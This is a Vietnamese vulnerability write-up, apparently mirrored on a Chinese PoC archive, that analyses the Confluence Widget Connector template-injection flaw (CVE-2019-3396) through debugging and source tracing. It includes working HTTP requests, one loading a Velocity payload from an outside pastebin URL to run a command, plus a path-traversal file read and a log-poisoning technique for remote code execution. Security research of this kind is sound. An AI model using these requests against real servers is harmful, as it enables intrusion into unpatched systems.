关联漏洞
标题:
Atlassian Confluence Server 路径遍历漏洞
(CVE-2019-3396)
描述:Atlassian Confluence Server是澳大利亚Atlassian公司的一套专业的企业知识管理与协同软件,也可以用于构建企业WiKi。 Atlassian Confluence Server中存在安全漏洞。远程攻击者可借助Widget Connector宏利用该漏洞执行代码。以下版本受到影响:Atlassian Confluence Server 6.6.12之前版本,6.7.0版本至6.12.3之前版本,6.13.0版本至6.13.3之前版本,6.14.0版本至6.14.2之前版本。
描述
Confluence unauthorize template injection
介绍
# Confluence unauthorize template injection (CVE-2019-3396)
## I) Building
- Bug này xảy ra trên các phiên bản:
* Tất cả các phiên bản 1.x.x, 2.x.x, 3.x.x, 4.x.x và 5.x.x
* Tất cả các phiên bản 6.0.x, 6.1.x, 6.2.x, 6.3.x, 6.4.x và 6.5.x
* Tất cả các phiên bản 6.6.x trước 6.6.12
* Tất cả các phiên bản 6.7.x, 6.8.x, 6.9.x, 6.10.x và 6.11.x
* Tất cả các phiên bản 6.12.x trước 6.12.3
* Tất cả các phiên bản 6.13.x trước 6.13.3
* Tất cả các phiên bản 6.14.x trước 6.14.2
- Sau khi tải source về các bạn cần:
* Sửa giá trị `confluence.home`về địa chỉ confluence home ở file ./confluence/WEB-INF/classes/confluence-init.properties
* Thêm giá trị `CATALINA_OPTS` để chương trình có thể chạy ở chế độ remote debug
Với windown, file ./bin/setenv.bat
```
set CATALINA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
```
với linux, file ./bin/setenv.sh
```
CATALINA_OPTS="-Xrunjdwp:transport=dt_socket,suspend=n,server=y,address=5005 ${CATALINA_OPTS}"
```
* Tại IDE (Intellij) ta tạo một Debug Configurations: `Remote JVM Debug` với giá trị `host` và `port` là localhost:5005 và `Command line aguments for remote JVM`
```
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
```
* Ta có thể sử dụng Postgresql làm database:
```
$ su - postgres
postgres@ubuntu:~$ psql -U postgres
postgres@ubuntu:~$ psql -U postgres
psql (10.6 (Ubuntu 10.6-0ubuntu0.18.04.1))
Type "help" for help.
postgres=# CREATE USER wiki WITH PASSWORD 'wiki';
CREATE ROLE
postgres=# CREATE DATABASE wiki OWNER wiki;
CREATE DATABASE
postgres=# GRANT ALL PRIVILEGES ON DATABASE jira TO wiki;
GRANT
```
* Ta cần add giói jar: ./confluence/WEB-INF/atlassian-bundled-plugins/widgetconnector-x.x.x.jar, ./confluence/WEB-INF/lib/confluence-x.x.x.jar, ./confluence/WEB-INF/lib/velocity-x.x.x-atlassian-x.jar vào lib để khi debug ta có thể thấy souce cần thiết.
* Ta tiến hành chạy file ./bin/start-confluence.bat và các bạn có thể tham khảo thêm [hướng dẫn này](https://developer.atlassian.com/server/confluence/building-confluence-from-source-code/) để install từ source.
## II) Phân tích
- Sau khi đọc Description, ta có thể biết bug này bắt đầu từ tính năng `Widget Connector` thế nên mình google ngay để biết tính năng này là gì, và làm sao để sử dụng:

<i> vào edit một page <i/>
<br>
<i> Chọn Orther macros<i/>

<i>Chọn Widget connector <i/>

- Mình chọn bừa các thông số rồi ấn vào preview, sau đó chuyển qua burp để xem có gì hay không.

- Ở gói tin này, mình thấy có một thông số `"pluginKey":"com.atlassian.confluence.extra.widgetconnector"` vậy nên mình đoán rằng tính năng `Widget Connector` được định nghĩa ở class `com.atlassian.confluence.extra.widgetconnector` vậy nên mình đã tìm kiếm trong path xem có gói jar nào khả nghi hay không.

- mình thử add file ./confluence/WEB-INF/atlassian-bundled-plugins/widgetconnector-x.x.x.jar vào lib của project để có thể đọc source code và debug.
 <br>
<i>Cách add file jar vào lib<i/>
- Mở pack widgetconnector mình thấy có cảm tình với class `WidgetMacro` nên mình đặt breakpoit tại contructor và hàm execute của class này để xem khi mình sử dụng tính năng `Preview` thì class này có được gọi hay không 🕵️
- 
- Hàm `execute` đã được gọi, sau đó chương trình gọi tới `DefaultRenderManager.getEmbeddedHtml`
- 
- Ta thấy để vào được trong `if` ta cần thỏa mãn điều kiện `widgetRenderer.matches(url)`. Ta tiến hành kiểm tra hàm `widgetRenderer.matches(url)` ở class `YoutubeRenderer`
- 
- 
- Như vậy mình cần để parameter `url` là một đường dẫn video của youtube (hoặc Vimeo, Twitter, ...). Mình set `url` thành url của một video youtube bất kỳ và chương trình đã nhảy vào câu `if` sau đó gọi tới hàm `widgetRenderer.getEmbeddedHtml(url, params)` (class YoutubeRenderer)
- 
- Chương trình nhảy tới hàm `setDefaultParam` tại đây ta có thấy một hidden params `_template` có vẻ khả nghi :)
- 
- Sau khi thoát khỏi hàm `setDefaultParam`, chương trình gọi tới hàm `DefaultVelocityRenderService.render`
- 
- Tiếp tục qua hàm `getRenderedTemplate` và `VelocityUtils.getRenderedTemplate(String templateName, Map<?, ?> contextMap)`
- 
- 
- Tiếp tới ` VelocityUtils.getRenderedTemplate(String templateName, Context context)` và `getRenderedTemplateWithoutSwallowingErrors(templateName, context)`
- 
- Hàm `renderTemplateWithoutSwallowingErrors`
- 
- Chương trình gọi hàm `getTemplate` rồi tới `VelocityEngine.getTemplate` và `RuntimeInstance.getTemplate`, tại đây ta thấy chương trình gọi hàm `getResource` với tham số đầu vào chính là giá trị của params `_template`. Với java, hàm `getResource` có thể dùng để load resource ở dạng file local hoặc là một tiệp ở trên internet (thông qua giao thức HTTP).
- Dừng lại và suy nghĩ: điều này phải chăng cho phép attacker đưa một template (từ local server hoặc từ host của attacker) bất kỳ vào chương trình bằng cách chèn thêm params `_template` vào request hay sao ??
- 
- Chúng ta tiếp tục trace ngược lại, để xem sau khi có được template thì chương trình xử lý thế nào:
- Sau khi đã có template, chương trình gọi hàm `VelocityUtils.renderTemplateWithoutSwallowingErrors(template, context, writer);`
- 
- Rồi sau đó tới `template.merge(context, writer);`
```ruby
public void merge(Context context, Writer writer, List macroLibraries) throws ResourceNotFoundException, ParseErrorException, MethodInvocationException {
if (this.errorCondition != null) {
throw this.errorCondition;
} else if (this.data == null) {
String msg = "Template.merge() failure. The document is null, most likely due to parsing error.";
throw new RuntimeException(msg);
} else {
InternalContextAdapterImpl ica = new InternalContextAdapterImpl(context);
ica.setMacroLibraries(macroLibraries);
if (macroLibraries != null) {
for(int i = 0; i < macroLibraries.size(); ++i) {
try {
this.rsvc.getTemplate((String)macroLibraries.get(i));
} catch (ResourceNotFoundException var17) {
this.rsvc.getLog().error("template.merge(): cannot find template " + (String)macroLibraries.get(i));
throw var17;
} catch (ParseErrorException var18) {
this.rsvc.getLog().error("template.merge(): syntax error in template " + (String)macroLibraries.get(i) + ".");
throw var18;
} catch (Exception var19) {
throw new RuntimeException("Template.merge(): parse failed in template " + (String)macroLibraries.get(i) + ".", var19);
}
}
}
if (this.provideScope) {
ica.put(this.scopeName, new Scope(this, ica.get(this.scopeName)));
}
try {
ica.pushCurrentTemplateName(this.name);
ica.setCurrentResource(this);
((SimpleNode)this.data).render(ica, writer); ### POC có thể được render ở đây ###
} catch (StopCommand var20) {
if (!var20.isFor(this)) {
throw var20;
}
if (this.rsvc.getLog().isDebugEnabled()) {
this.rsvc.getLog().debug(var20.getMessage());
}
} catch (IOException var21) {
throw new VelocityException("IO Error rendering template '" + this.name + "'", var21);
} finally {
ica.popCurrentTemplateName();
ica.setCurrentResource((Resource)null);
if (this.provideScope) {
Object obj = ica.get(this.scopeName);
if (obj instanceof Scope) {
Scope scope = (Scope)obj;
if (scope.getParent() != null) {
ica.put(this.scopeName, scope.getParent());
} else if (scope.getReplaced() != null) {
ica.put(this.scopeName, scope.getReplaced());
} else {
ica.remove(this.scopeName);
}
}
}
}
}
}
```
- Tại đây ta thấy chương trình có gọi tới `SimpleNode.render`, Hàm này sử dụng template Velocity để parse template. Tới đây ta có thể thấy có thể viết PoC RCE được rồi:
Gói POST request khi yêu cầu tính năng `Preview`
```
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: localhost:8090
Cookie: seraph.confluence=; JSESSIONID=
Connection: close
{
"contentId":"622594",
"macro": {
"name":"widget",
"body":"","params": {
"url":"https://www.youtube.com/watch?v=WfDp-TkSoFY&ab_channel=TAPMusic",
"width":"10",
"height":"10",
"_template":"https://pastebin.com/raw/JPEpiuLG"
}
}
}
```
file payload
```
#set($x="x")
$x.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc")
```
- PoC đã chạy thành công:
- 
### Stack call
```
WidgetMacro: execute
-> DefaultRenderManager: getEmbeddedHtml
-> YoutubeRenderer: getEmbeddedHtml
-> DefaultVelocityRenderService: render -> getRenderedTemplate
-> (confluence-6.12.2.jar) VelocityUtils: getRenderedTemplate -> getRenderedTemplate -> getRenderedTemplateWithoutSwallowingErrors -> renderTemplateWithoutSwallowingErrors -> getTemplate -> getVelocityEngine
-> VelocityEngine: getTemplate
-> RuntimeInstance: getResource
-> (confluence-6.12.2.jar) VelocityUtils: renderTemplateWithoutSwallowingErrors
-> Template: merge
=> SimpleNode: render
```
Như vậy là ta đã PoC lại thành công bug này, nhưng trong trường hợp target là một server chăn outbount attacker không thể get resource từ ngoài internet chỉ có thể get resource là những file trong local của server.
### Vậy trong trường hợp đó, làm sao để có thể khai thác ?
Mình nhận được một gợi ý là bằng một cách nào đó user có thể inject payload vào file log. Đây là một ý tưởng khá hay, nên mình bắt chân lên trán tìm cách ngay.
- Mình bắt đầu xem các file log trong Confluence Home để xem chúng có gì đặc biệt. Mình xem các file log ở ./shared-home/analytics-logs/ và thấy có một số key-value quen thuộc, có vẻ như chúng được gửi từ phía client-side
- 
- Mình thấy có gói `POST /rest/analytics/1.0/publish/bulk` có gửi đi một số key-value như trên.
```
[{"name":"browser.metrics.navigation",
"properties":{
"apdex":"0.5",
"firstPaint":"528",
"isInitial":"true",
"journeyId":"9e60e71a-8ebe-478c-a638-ee9423f5798f",
"key":"confluence.dashboard.view",
"navigationType":"0",
"readyForUser":"1117",
"redirectCount":"0",
"resourceLoadedEnd":"499",
"resourceLoadedStart":90.35499999299645,
"threshold":"1000",
"unloadEventStart":"47",
"unloadEventEnd":"47",
"fetchStart":"25",
"domainLookupStart":"25",
"domainLookupEnd":"25",
"connectStart":"25",
"connectEnd":"25",
"requestStart":"27",
"responseStart":"28",
"responseEnd":"37",
"domLoading":"52",
"domInteractive":"538",
"domContentLoadedEventStart":"538",
"domContentLoadedEventEnd":"691",
"domComplete":"1176",
"loadEventStart":"1176",
"loadEventEnd":"1176",
"userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36",
"pageEnd":"531",
"isBigPipeEnabled":"false",
"serverDuration":"339",
"requestCorrelationId":"36006c54d2919ecd",
"resourceTiming":"{\"☠\":[\"2,2i,2i,,,2i,,2i,2i,2i\",\"2,2i,31,2m,2k,2i,,2i,2i,2i\",\"2,2j,31,2m,2l,2j,,2j,2j,2j\",\"3,2l,2l,,,2l,,2l,2l,2l\",\"3,2l,2l,,,2l,,2l,2l,2l\",\"3,2m,2m,,,2m,,2m,2m,2m\",\"3,2n,2n,,,2n,,2n,2n,2n\",\"5,bz,cv,cv,c0,bz,,bz,bz,bz\",\"4,d6,d6,,,d6,,d6,d6,d6\",\"4,d7,d7,,,d7,,d7,d7,d7\",\"3,dq,dv,dr,dq,dq,,dq,dq,dq\",\"4,ej,ej,,,ej,,ej,ej,ej\",\"4,ej,ej,,,ej,,ej,ej,ej\",\"4,er,er,,,er,,er,er,er\",\"5,fl,fn,fn,fm,fl,,fl,fl,fl\",\"5,g9,ha,h9,gb,g9,,g9,g9,g9\",\"4,hv,hv,,,hv,,hv,hv,hv\",\"4,hv,hv,,,hv,,hv,hv,hv\",\"4,ik,ik,,,ik,,ik,ik,ik\",\"4,ik,ik,,,ik,,ik,ik,ik\",\"4,il,il,,,il,,il,il,il\",\"5,h4,ta,t0,pl,pk,,h6,h4,h4\"]}",
"userTimingRaw":"{\"marks\":{},\"measures\":{}}","experiments":"[]"},"timeDelta":-5176
}]
```
- Mình thử thay thế một số value thì thấy có value `resourceTiming` có thể tùy ý chỉnh sửa mà vẫn được đưa vào log
- 
- Như vậy là ta đã có thể đưa payload vào file log nằm trên local của server.
- Từ đây ta có thể đọc file ./confluence/WEB-INF/classes/confluence-init.properties để biết được vị trí của confluence home
```
POST /rest/tinymce/1/macro/preview HTTP/1.1
{
"contentId":"1507329",
"macro":{
"name":"widget",
"body":"",
"params":{
"url":"https://www.youtube.com/watch?v=WfDp-TkSoFY&ab_channel=TAPMusic",
"_template":"/../../WEB-INF/classes/confluence-init.properties",
"width":"11",
"height":"11"
}
}
}
```
- Rồi từ đó tìm tới vị trí file log có chứa payload mà mình đã inject vào:
```
POST /rest/tinymce/1/macro/preview HTTP/1.1
{
"contentId":"1507329",
"macro":{
"name":"widget",
"body":"",
"params":{
"url":"https://www.youtube.com/watch?v=WfDp-TkSoFY&ab_channel=TAPMusic",
"_template":"file:C://Users/XXXXX...XXXXX/.confluence/shared-home/analytics-logs/bd0f2792fe0234be516b843e25d54a14.515465381.atlassian-analytics.log",
"width":"11",
"height":"11"
}
}
}
```
- Nếu file log quá lớn không thể đưa vào template để parse ta có thể push log để file log đạt giới hạn kích thước, lúc đó hệ thống tự động ghi log sang file mới và attacker có thể nhân có hội file log mới có kích thước chưa lớn để inject payload để sử dụng.
## III) Fix
Tại bản path, class WidgetMacro đã được viết thêm hàm `doSanitizeParameters` để xóa param "_template" trước khi gọi `renderManager.getEmbeddedHtml(url, parameters);`



文件快照
[4.0K] /data/pocs/abebf5389ce71675988a6fda38025f94d83de53c
└── [ 18K] README.md
0 directories, 1 file
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。